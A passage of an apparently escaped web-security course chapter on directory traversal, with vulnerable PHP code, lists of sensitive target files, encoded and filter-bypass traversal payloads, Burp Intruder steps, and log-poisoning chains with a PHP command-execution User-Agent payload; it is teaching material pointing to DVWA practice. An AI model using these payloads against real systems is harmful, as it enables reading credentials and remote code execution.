&amp;lt;p&amp;gt;CSP &amp;lt;code&amp;gt;frame-ancestors&amp;lt;/code&amp;gt; overrides &amp;lt;code&amp;gt;X-Frame-Options&amp;lt;/code&amp;gt; in modern browsers. Both should be set for compatibility with older browsers. Note: CSP &amp;lt;code&amp;gt;frame-ancestors&amp;lt;/code&amp;gt; cannot be set via meta tags — it must be in the HTTP header.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="610-exploiting-security-misconfigurations" href="#610-exploiting-security-misconfigurations" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.10 Exploiting Security Misconfigurations
&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6101-overview" href="#6101-overview" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.10.1 Overview
&amp;lt;/h3&amp;gt;

&amp;lt;p&amp;gt;Security misconfiguration is the broadest and in many ways the most common vulnerability category in real-world assessments. It encompasses every situation where a system is technically capable of being secure but has been deployed, configured, or maintained in an insecure state.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The OWASP Top 10:2021 lists Security Misconfiguration as A05 — the fifth most prevalent category. But in practice, it overlaps with nearly every other category: a missing CSRF token is a misconfiguration. A weak CSP is a misconfiguration. Default credentials are a misconfiguration. Missing security headers are misconfigurations.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This section specifically covers two subcategories that deserve detailed treatment: directory traversal (a failure in file system access control) and cookie manipulation (exploiting improperly secured state management).&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6102-directory-traversal-vulnerabilities" href="#6102-directory-traversal-vulnerabilities" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.10.2 Directory Traversal Vulnerabilities
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-concept-reading-files-outside-the-intended-directory" href="#the-concept-reading-files-outside-the-intended-directory" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Concept — Reading Files Outside the Intended Directory
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Directory traversal (also called path traversal or dot-dot-slash attack) occurs when an application uses user-controlled input to construct file system paths and does not properly restrict the path to an intended directory. The attacker uses relative path sequences (&amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;) to "traverse" out of the intended directory and into the broader file system.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Consider an application that serves product images:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
https://shop.com/images?file=product1.jpg&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The server code:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
// VULNERABLE PHP code:&amp;lt;br&amp;gt;
$file = $_GET['file'];&amp;lt;br&amp;gt;
$path = '/var/www/html/images/' . $file;&amp;lt;br&amp;gt;
echo file_get_contents($path);&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;When &amp;lt;code&amp;gt;file=product1.jpg&amp;lt;/code&amp;gt;, the path becomes &amp;lt;code&amp;gt;/var/www/html/images/product1.jpg&amp;lt;/code&amp;gt; — correct.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;When &amp;lt;code&amp;gt;file=../../../etc/passwd&amp;lt;/code&amp;gt;, the path becomes:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
/var/www/html/images/../../../etc/passwd&amp;lt;br&amp;gt;
→ Simplified: /etc/passwd&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt; sequences traverse up the directory tree, out of &amp;lt;code&amp;gt;/var/www/html/images/&amp;lt;/code&amp;gt;, out of &amp;lt;code&amp;gt;/var/www/html/&amp;lt;/code&amp;gt;, out of &amp;lt;code&amp;gt;/var/www/&amp;lt;/code&amp;gt;, and into &amp;lt;code&amp;gt;/etc/&amp;lt;/code&amp;gt;, allowing reading of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; — a file listing all user accounts on the Linux system.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="what-files-to-target-highvalue-path-traversal-targets" href="#what-files-to-target-highvalue-path-traversal-targets" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What Files to Target — High-Value Path Traversal Targets
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Linux / Unix systems:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;table&amp;gt;&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;File&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;What It Reveals&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;User accounts (historically had passwords, now references /etc/shadow)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Password hashes for all user accounts (requires root)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/etc/hosts&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Internal hostname-to-IP mappings (reveals internal network structure)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/etc/hostname&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;System hostname&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/proc/version&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Linux kernel version and distribution&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/proc/net/tcp&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Active TCP connections (reveals internal services)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/proc/self/environ&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Environment variables for the web server process (may contain secrets)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/proc/self/cmdline&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Command line used to start the web server process&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/var/log/apache2/access.log&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Apache access logs&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/var/log/nginx/access.log&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Nginx access logs&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Authentication logs&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;~/.ssh/id_rsa&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Private SSH key (if web server runs as a non-root user with keys)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/home/user/.bash_history&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Command history revealing sensitive commands&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Scheduled tasks (reveals automation and privileged scripts)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Application config files&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;/var/www/html/config.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;../settings.py&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;../config.yml&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Windows systems:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;table&amp;gt;&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;File&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;What It Reveals&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\Windows\System32\drivers\etc\hosts&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Hosts file&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\Windows\win.ini&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Legacy Windows initialization file&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\inetpub\logs\LogFiles\&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;IIS access logs&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\Users\[user]\Desktop\&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;User's desktop (sometimes configuration files)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\xampp\apache\conf\httpd.conf&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;XAMPP Apache config&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\ProgramData\&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Application data directory&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;&amp;lt;code&amp;gt;C:\Windows\System32\config\SAM&amp;lt;/code&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Windows password hashes (locked while OS running)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Web application configuration files (most impactful):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="php-applications" href="#php-applications" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  PHP applications:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../config.php&amp;lt;br&amp;gt;
../config/database.php&amp;lt;br&amp;gt;
../../.env                    # Laravel, Node.js: contains DB passwords, API keys&amp;lt;br&amp;gt;
../wp-config.php              # WordPress database credentials&amp;lt;br&amp;gt;
../configuration.php          # Joomla database credentials&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="pythondjango" href="#pythondjango" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Python/Django:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../settings.py&amp;lt;br&amp;gt;
../settings/production.py&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="java" href="#java" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Java:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../WEB-INF/web.xml         # Servlet configuration&amp;lt;br&amp;gt;
../../WEB-INF/classes/application.properties  # Spring Boot config&amp;lt;br&amp;gt;
../../../META-INF/context.xml&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nodejs" href="#nodejs" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Node.js:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../.env&amp;lt;br&amp;gt;
../../config/config.json&amp;lt;br&amp;gt;
../../package.json           # Reveals dependencies and scripts&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="general" href="#general" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  General:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../.git/config            # Git configuration (may reveal remote repo URLs/credentials)&amp;lt;br&amp;gt;
../../.git/HEAD&amp;lt;br&amp;gt;
../../.htpasswd              # HTTP Basic Auth credentials&amp;lt;br&amp;gt;
../../.htaccess              # Apache access control configuration&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="detection-payloads-systematic-testing" href="#detection-payloads-systematic-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Detection Payloads — Systematic Testing
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="basic-traversal-linux" href="#basic-traversal-linux" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Basic traversal (Linux):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../../etc/passwd&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="basic-traversal-windows" href="#basic-traversal-windows" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Basic traversal (Windows):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;......\Windows\win.ini&amp;lt;br&amp;gt;
......\Windows\System32\drivers\etc\hosts&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="urlencoded-variants-bypasses-simple-string-matching" href="#urlencoded-variants-bypasses-simple-string-matching" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  URL-encoded variants (bypasses simple string matching):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd        # URL encoding&amp;lt;br&amp;gt;
%2e%2e/%2e%2e/%2e%2e/etc/passwd&amp;lt;br&amp;gt;
..%2f..%2f..%2fetc%2fpasswd                     # Mixed encoding&amp;lt;br&amp;gt;
%252e%252e%252fetc%252fpasswd                   # Double URL encoding&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="unicodeutf8-encoding" href="#unicodeutf8-encoding" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Unicode/UTF-8 encoding:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;..%c0%af../etc/passwd                           # Overlong UTF-8 encoding&amp;lt;br&amp;gt;
..%ef%bc%8f../etc/passwd&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="null-byte-for-older-phpperl-apps-with-file-extension-stripping" href="#null-byte-for-older-phpperl-apps-with-file-extension-stripping" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Null byte (for older PHP/Perl apps with file extension stripping):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../../etc/passwd%00.jpg&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" href="#php-pre534-would-truncate-at-00-ignoring-the-jpg-extension" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  PHP pre-5.3.4 would truncate at %00, ignoring the .jpg extension
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="path-truncation-older-php-versions" href="#path-truncation-older-php-versions" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Path truncation (older PHP versions):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" href="#very-long-paths-may-cause-php-to-truncate-to-the-expected-directory" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Very long paths may cause PHP to truncate to the expected directory
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="windowsspecific" href="#windowsspecific" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Windows-specific:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;........\Windows\win.ini&amp;lt;br&amp;gt;
../../../../../../Windows/win.ini&amp;lt;br&amp;gt;
....//....//....//etc/passwd                    # Double-dot slash bypass&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-absolute-paths-if-server-allows" href="#using-absolute-paths-if-server-allows" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using absolute paths (if server allows):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;/etc/passwd&amp;lt;br&amp;gt;
C:\Windows\win.ini&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="using-burp-suite-for-systematic-path-traversal-testing" href="#using-burp-suite-for-systematic-path-traversal-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using Burp Suite for Systematic Path Traversal Testing
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Identify every parameter that seems to reference a filename:&amp;lt;br&amp;gt;
?file=, ?page=, ?doc=, ?image=, ?template=, ?module=, ?path=&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;For each parameter, send to Burp Intruder:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Payload position: the filename value&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Payload list: path traversal wordlist from SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Look for:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Responses containing "root❌0:0:" (Linux /etc/passwd content)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Responses containing "[extensions]" (Windows win.ini content)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Responses with unusual size differences from baseline&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Error messages that reveal file system paths&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Confirm with a simple payload first:&amp;lt;br&amp;gt;
Start with ../../../etc/passwd&amp;lt;br&amp;gt;
If that fails, try URL-encoded variants&amp;lt;br&amp;gt;
If those fail, try double encoding&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="common-bypasses-for-path-traversal-filters" href="#common-bypasses-for-path-traversal-filters" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Common Bypasses for Path Traversal Filters
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Filter: strips &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt; sequences&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="replace-with-double-encoding-trick" href="#replace-with-double-encoding-trick" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Replace ../ with ....// (double encoding trick):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;....//....//....//etc/passwd&amp;lt;br&amp;gt;
→ After stripping ../:  ../../etc/passwd (still traverses)&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Filter: blocks known paths like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="case-variation-windows-caseinsensitive" href="#case-variation-windows-caseinsensitive" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Case variation (Windows case-insensitive):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;......\WINDOWS\win.ini&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="null-bytes" href="#null-bytes" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Null bytes:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;/etc/passwd%00&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="additional-path-segments" href="#additional-path-segments" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Additional path segments:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;/etc/./passwd&amp;lt;br&amp;gt;
/etc//passwd&amp;lt;br&amp;gt;
/etc/passwd/&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Filter: enforces extension (e.g., only allows .jpg, .png)&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="null-byte-php-lt-534" href="#null-byte-php-lt-534" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Null byte (PHP &amp;lt; 5.3.4):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;../../../etc/passwd%00.jpg&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="path-truncation-with-very-long-string" href="#path-truncation-with-very-long-string" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Path truncation with very long string:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;/safe/path/../../../../../etc/passwd/[4096 characters of padding].jpg&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="path-traversal-to-lfi-to-rce" href="#path-traversal-to-lfi-to-rce" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Path Traversal to LFI to RCE
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;In PHP applications, path traversal often escalates to Local File Inclusion (LFI), which can chain to Remote Code Execution:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;LFI via Log Poisoning:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;Apache access logs (&amp;lt;code&amp;gt;/var/log/apache2/access.log&amp;lt;/code&amp;gt;) contain the User-Agent string&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Send a request with a PHP payload as the User-Agent: &amp;lt;code&amp;gt;User-Agent: &amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;PHP code is now stored in the log file&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Use LFI to include the log file: &amp;lt;code&amp;gt;?page=../../../var/log/apache2/access.log&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The PHP code in the log executes: &amp;lt;code&amp;gt;?page=...access.log&amp;amp;cmd=id&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;LFI via /proc/self/environ:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
The environment of the web server process (containing the User-Agent) may be accessible via &amp;lt;code&amp;gt;/proc/self/environ&amp;lt;/code&amp;gt;:&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;Set User-Agent to PHP payload&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Include &amp;lt;code&amp;gt;/proc/self/environ&amp;lt;/code&amp;gt; via LFI&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;PHP executes&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;LFI via PHP session files:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
PHP session files are stored in &amp;lt;code&amp;gt;/tmp/sess_[sessionid]&amp;lt;/code&amp;gt;. If you can inject PHP code into your session data and then include the session file via LFI, you achieve code execution.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6103-practice-directory-traversal" href="#6103-practice-directory-traversal" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.10.3 Practice — Directory Traversal
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="testing-on-dvwa-file-inclusion-module" href="#testing-on-dvwa-file-inclusion-module" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Testing on DVWA — File Inclusion Module
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;DVWA's File Inclusion module is the best starting point. At Low security, the page parameter includes files directly:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="view-the-url" href="#view-the-url" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  View the URL:
&amp;lt;/h1&amp;gt;

